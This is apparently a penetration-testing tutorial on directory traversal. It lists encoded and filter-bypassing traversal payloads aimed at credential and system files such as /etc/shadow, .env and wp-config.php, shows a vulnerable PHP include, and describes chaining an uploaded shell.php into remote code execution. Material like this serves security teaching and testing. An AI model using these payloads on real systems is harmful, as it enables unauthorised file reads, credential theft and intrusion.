Directory traversal (also known as Path Traversal or ../ traversal) occurs when a web application allows user-controlled input to influence file paths without proper sanitization. This enables attackers to access files and directories outside the intended folder, including sensitive system files, configuration files, application source code, logs, and credentials.

Directory traversal attacks are simple but extremely powerful. With a single parameter, attackers can read files across the filesystem and sometimes escalate to full compromise.

Understanding Directory Traversal

Many applications use file paths in features such as:

• downloading documents

• loading templates

• reading logs

• displaying images

• importing files

• backup/restore functionalities

If the application uses user input inside a file path, such as:

GET /view?file=report.pdf

and the backend does:

read("/var/www/html/uploads/" + file)

An attacker can manipulate file to climb directories:

../../../../etc/passwd

Resulting in:

read("/var/www/html/uploads/../../../../etc/passwd")

When resolved, the path becomes:

/etc/passwd

This exposes sensitive data.

How Directory Traversal Happens

Directory traversal occurs when:

• input is appended directly to file paths

• file paths are not sanitized

• no canonical path checks exist

• absolute paths or traversal sequences are allowed

• developers fail to restrict directory access

• symbolic links point outside allowed folders

A vulnerable code pattern looks like:

$file = $_GET['file'];
include("pages/" . $file);

Attackers exploit this by supplying traversal sequences.

Traversal Sequences and Variants

Attackers use traversal payloads such as:

../
../../
../../../

Encoded versions bypass filters:

..%2f
..%2F
..%5c
..%c0%af

Double encoding:

..%252f..%252fetc%252fpasswd

Unicode tricks:

..%c1%1c
..%c0%9v

By chaining sequences, attackers reach root directories.

Practical Directory Traversal Testing Workflow

Step 1: Identify File-Based Parameters

Test parameters like:

• file=

• path=

• page=

• dir=

• download=

• template=

• image=

• log=

Example request:

GET /download?file=invoice.pdf

Susceptible to traversal:

GET /download?file=../../../../etc/passwd

Step 2: Start With Basic Traversal Payloads

Try:

../
../../
../../../

Common target files:

/etc/passwd
/etc/hostname
/etc/hosts
/var/log/auth.log

If the response contains system data, traversal exists.

Step 3: Use URL Encoding Bypass

Some applications block raw ../, so use:

..%2f..%2f..%2fetc%2fpasswd

Or double encoded:

..%252f..%252fetc%252fpasswd

If the server decodes it twice, traversal succeeds.

Step 4: Bypass Filtering Mechanisms

Filters often strip ../ patterns, so attackers use:

Alternate slash types

..\
..%5c
..%2F

Mixed encoding

.%2e/
%2e%2e/
..%2e/

Obfuscation

%2e%2e/
%2e./
.%2e/

Even restrictive filters usually miss at least one variant.

Step 5: Test File Inclusion Endpoints

Features like:

?page=
&template=
&include=

are commonly used to include PHP or HTML files.

Try:

?page=../../../../etc/passwd

Step 6: Discover Application Structure

Once traversal is confirmed, explore sensitive directories:

/var/www/html
/home
/root
/etc/apache2
/etc/nginx

List readable files:

• config files

• database credentials

• backup files

• source code

Step 7: Extract Sensitive Data

Important files:

Linux

/etc/passwd
/etc/shadow (if readable)
/etc/hosts
/etc/os-release
/var/log/apache2/*.log
/var/log/nginx/*.log

Application Files

config.php
database.yml
.env
settings.py
wp-config.php

These files often contain:

• database passwords

• API keys

• SMTP credentials

• admin credentials

Step 8: Chaining Directory Traversal With Other Vulnerabilities

If file upload is allowed:

1. Upload a malicious file into /uploads/

2. Use traversal + LFI to execute it

Example:

?page=../../uploads/shell.php

This results in RCE.

Step 9: Traversal in Windows Systems

Windows traversal uses backslashes:

..\
..\..\..\windows\win.ini

Encoded:

..%5c..%5cwindows%5cwin.ini

Typical target files:

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts

Windows often accepts mixed slashes:

../../windows/win.ini

Step 10: Traversal in Logs and Backups

Look for:

• access logs

• error logs

• configuration backups

• compressed archives

Example:

../../../../var/log/apache2/access.log

Access logs may reveal:

• session tokens

• passwords sent via GET

• admin endpoints

• IP addresses

Advanced Traversal Payloads

Null Byte Injection

Older systems allow null-termination:

../../../../etc/passwd%00

Useful in file inclusion contexts.

Overlong UTF-8 Encoding

..%c0%af

UTF-7 and UTF-16 Tricks

Rare, but bypasses old filters.

Why Directory Traversal Happens

Traversal vulnerabilities occur due to:

• concatenating input into file paths

• using user-controlled filenames

• trusting request parameters too much

• missing canonical path validation

• failing to restrict directories

• missing whitelist of allowed files

• reliance on blacklists only

Developers often assume users will never manipulate file paths.

Impact of Directory Traversal

Directory traversal allows:

• reading sensitive system files

• extracting credentials

• reading session files

• accessing internal logs

• discovering server structure

• reading source code

• chaining into remote code execution

• full application compromise

A simple file read can escalate to a complete breach.

Intel Dump

• Directory traversal occurs when user input manipulates file paths without validation.

• Attackers use sequences like ../ and encoded variants to escape restricted directories.

• Testing includes raw traversal, URL-encoding, double-encoding, and slash/Unicode tricks.

• Sensitive files such as passwd, config files, logs, and source code are prime targets.

• Traversal chains with file uploads or LFI to achieve remote code execution.

• The vulnerability exists due to unvalidated path concatenation and missing canonical checks.